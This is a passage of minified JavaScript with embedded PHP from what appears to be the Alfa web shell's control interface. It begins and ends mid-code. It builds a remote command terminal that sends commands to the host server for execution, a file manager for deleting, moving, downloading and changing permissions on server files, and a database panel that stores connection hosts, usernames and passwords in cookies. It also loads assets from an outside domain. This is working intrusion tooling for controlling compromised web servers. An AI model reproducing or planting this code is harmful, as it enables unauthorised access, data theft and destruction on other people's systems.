0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var 